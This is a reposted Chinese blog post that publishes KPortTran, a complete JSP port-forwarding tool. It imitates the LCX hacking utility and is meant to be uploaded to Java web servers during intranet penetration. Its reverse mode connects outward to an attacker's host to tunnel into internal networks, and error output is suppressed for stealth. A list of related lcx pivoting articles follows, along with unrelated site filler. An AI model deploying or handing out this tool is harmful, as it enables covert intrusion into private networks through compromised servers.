最近接触内网很多,渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。

在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交~


用法如下 KPortTran Usage:


参数

xxx.com/KPortTran.jsp? lip = local ip / 本地ip //一般为内网主机IP lp = local port / 本地端口 //一般为内网主机端口 rip = remote ip / 远程ip //一般为外网连接者IP,或者内网其他主机 rp = remote port / 远程端口 //一般为外网连接者端口 lp2 = local port2 / 本地端口2 //本地监听转发时的第二个端口 m = mode / 运行模式 //合法的值有:listen tran slave三种


运行模式

m = listen 需要参数:lp、lp2 该模式下,会在本地监听两个端口,相互转发数据 m = tran 需要参数:lip、lp、rip、rp 该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。 m = slave 需要的参数: lip、lp、rip、rp 该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。


注意事项: 某些server上使用时,可能由于编码问题会报错,请根据实际情况,更改代码首行的编码设置。 为了隐蔽,没有设置错误信息返回。如果不能执行,请检查一下参数。

测试截图:

<%@page pageEncoding="GBK"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.net.*"%>
<%
/*code by KingX*/
class KPortTran {
public void listen(String port1, String port2) {
ServerSocket listenServerSocket = null;
ServerSocket outServerSocket = null;
try {
listenServerSocket = new ServerSocket(Integer.parseInt(port1));
outServerSocket = new ServerSocket(Integer.parseInt(port2));
} catch (NumberFormatException e) { } catch (IOException e) {
}
Socket listenSocket = null;
Socket outSocket = null;
try {
while (true) {
listenSocket = listenServerSocket.accept();
outSocket = outServerSocket.accept();
new tranThread(outSocket, listenSocket).start();
new tranThread(listenSocket, outSocket).start();
Thread.sleep(200);
}
} catch (Exception e) {
}
} public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
InetAddress src = InetAddress.getByName(srcIP);
InetAddress dest = InetAddress.getByName(targetIP);
int p1 = Integer.parseInt(port1);
int p2 = Integer.parseInt(port2);
new Server(src, p2, dest, p1, true);
} public void tran(String srcIP, String port1, String targetIP, String port2)
throws NumberFormatException, IOException {
InetAddress src = InetAddress.getByName(srcIP);
InetAddress dest = InetAddress.getByName(targetIP);
int p1 = Integer.parseInt(port1);
int p2 = Integer.parseInt(port2);
new Server(src, p1, dest, p2, false);
}
class tranThread extends Thread {
Socket in;
Socket out;
InputStream is;
OutputStream os;
public tranThread(Socket in, Socket out) throws IOException {
this.is = in.getInputStream();
this.os = out.getOutputStream();
this.in = in;
this.out = out;
} private void closeSocket() {
try {
is.close();
os.close();
in.close();
out.close();
} catch (IOException e) {
}
}
@Override
public void run() {
super.run();
byte[] buffer = new byte[4096];
int len = -1;
try {
while (true) {
if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
break;
} else {
os.write(buffer, 0, len);
os.flush();
}
}
} catch (IOException e) {
closeSocket();
} finally {
closeSocket();
}
}
} class Server extends Thread {
InetAddress src;
InetAddress dest;
int p1, p2;
boolean reverse = false; public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
int targetPort, boolean flag) {
this.src = srcIP;
this.dest = targetIP;
this.p1 = srcPort;
this.p2 = targetPort;
this.reverse = flag;
start();
} @Override
public void run() {
super.run();
if (reverse) {
try {
Socket s = new Socket(src, p1);
Socket s2 = new Socket(dest, p2);
new tranThread(s, s2).start();
new tranThread(s2, s).start(); while (true) {
if (s2.isClosed() || s.isClosed()) {
if (s2.isClosed()) {
s2 = new Socket(dest, p2);
}
if (s.isClosed()) {
s = new Socket(src, p1);
}
new tranThread(s, s2).start();
new tranThread(s2, s).start();
}
Thread.sleep(1000);
}
} catch (IOException e) {
} catch (InterruptedException e) {
} } else {
ServerSocket ss;
try {
ss = new ServerSocket(p1, 5, src); while (true) {
Socket s = ss.accept();
Socket s2 = new Socket(dest, p2);
new tranThread(s, s2).start();
new tranThread(s2, s).start();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
%>
<%
final String localIP = request.getParameter("lip");
final String localPort = request.getParameter("lp");
final String localPort2 = request.getParameter("lp2");
final String remoteIP =request.getParameter("rip");
final String remotePort =request.getParameter("rp");
final String mode =request.getParameter("m"); KPortTran pt = new KPortTran();
if (mode.equals("tran")) {
pt.tran(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("slave")) {
pt.slave(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("listen")) {
pt.listen(localPort, localPort2);
} %> 本文转载至,http://www.2cto.com/Article/201310/254016.html

JSP版LCX:端口转发神器 KPortTran的更多相关文章

  1. lcx端口转发 linux版

    一.端口转发使用 1.攻击机上执行以下命令 ./lcx -p1 -p2 -m 在本地监听3389端口,并将发送到本机3389端口的数据传递到本机2222端口 2.跳板机上执行以下命令 ./lcx -h ...

  2. vIDC v2.0 强大的端口转发神器使用总结-开放内网tfs代码服务

    vIDC2.0 端口映射工具,最近在公司闲来无事,想自己整个tfs来管理自己的研究代码. 本来是想用微软Visual Studio提供的免费tfs,但是无奈速度太慢.他们的服务器在美国,中国也没有代理 ...

  3. LCX端口转发实现内网突破

    工具:lcx.exe 原理:当目标主机仅开放了web服务,而该服务又仅能供内网用户使用,外网用户根本无法直接访问.因此想要让外网用户能能够访问局域网中的系统服务,必须进行端口映射等操作才行.其原理就是 ...

  4. lcx 端口转发

    1.查看3389端口开放情况: REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStati ...

  5. lcx端口转发

    目录 0x01 正向端口转发 0x02 反向端口转发 0x03 msf正向shell 0x04 msf反向shell 注: 边界机器 win08 192.168.222.175 内网机器 win7 1 ...

  6. [内网渗透]lcx端口转发

    0x01 简介 lcx是一款端口转发工具,有三个功能: 第一个功能将本地端口转发到远程主机某个端口上 第二个功能将本地端口转发到本地另一个端口上 第三个功能是进行监听并进行转发使用 Lcx使用的前提是 ...

  7. linux下内网端口转发工具:linux版lcx [实现远程内网维护]

    这个工具以前使用的初衷是内网渗透,需要将内网ssh端口转发到外网服务器上.但这个工具同样适用于运维工程师进行远程内网维护. 当然这一切的前提是内网可以访问外网,检测方法当然就是直接ping 一个外网I ...

  8. 端口转发 Port Forwarding (一)

    0x00First 最近发现一些好用的端口转发工具和技巧,计划认真梳理一下 SSH.NC.LCX.EW.FRP 0x01 SSH隧道端口转发 目前利用SSH隧道(SSH tunneling)进行端口转 ...

  9. 【转】实战 SSH 端口转发

    本文转自:http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html,至于有什么用,懂的懂! 实战 SSH 端口转发 通 ...

随机推荐

  1. IDE、SATA、SCSI、SAS、FC、SSD硬盘类型介绍

    参考于:http://blog.csdn.net/tianlesoftware/article/details/6009110 目前所能见到的硬盘接口类型主要有IDE.SATA.SCSI.SAS.FC ...

  2. 修改MySQL数据文件的位置

    1:查看MySQL服务名称 2:管理员启动控制台 3:修改配置文件my.ini中数据文件的位置,[注]修改完成之后要把响应的数据文件从旧目录拷贝到新目录当中. 4:重新启动服务 5:登录数据库查看数据 ...

  3. workflow中的‘非典型’自动触发器trigger_model

    Openerp中workflow的设计机制 工作流程系统在OpenERP里是非常有用的机制,可以用于即时描述单据(模型)状态的演进过程.工作流实现了状态流转的可配置,通过迁移的 condition代替 ...

  4. TOMCAT问题总结

      迁移时间--2017年7月9日14:58:12Author:Marydon CreateTime--2016年12月25日21:55:09Author:MarydonTomcat问题总结问题一 A ...

  5. 【Linux】别名

    别名就是一种快捷方式,以省去用户输入一长串命令的麻烦. 别名有多种实现方式,可以使用函数,也可以使用alias命令 注意:alias命令的作用只是短暂的.一旦终端关闭,别名则失效,如果要让别名永久生效 ...

  6. JS模拟list

    /* * List 大小可变数组 */ function List() { this.list = new Array(); }; /** * 将指定的元素添加到此列表的尾部. * @param ob ...

  7. linux下使用speedtest测速

    Speedtest测试网络上传/下载速度还是挺不错的,windows下非常方便.Linux下也可以很方便的使用命令行speedtest来测试.speedtest是一个用Python编写的轻量级Linu ...

  8. 用JS实现任意导航栏的调用

    首先设计一个关于导航的层叠样式表如:body{font-size:12px;font-family:Arial,Helvetica,'宋体',sans-serif;color:#333;backgro ...

  9. 推荐系统之矩阵分解及其Python代码实现

    有如下R(5,4)的打分矩阵:(“-”表示用户没有打分) 其中打分矩阵R(n,m)是n行和m列,n表示user个数,m行表示item个数 那么,如何根据目前的矩阵R(5,4)如何对未打分的商品进行评分 ...

  10. iOS 排序算法总结、二分法查找

    1.插入排序 在要排序的一组数中,假设前面(n-1) [n>=2] 个数已经是排好顺序的,现在要把第n个数插到前面的有序数中,使得这n个数也是排好顺序的.如此反复循环,直到全部排好顺序. 直接插 ...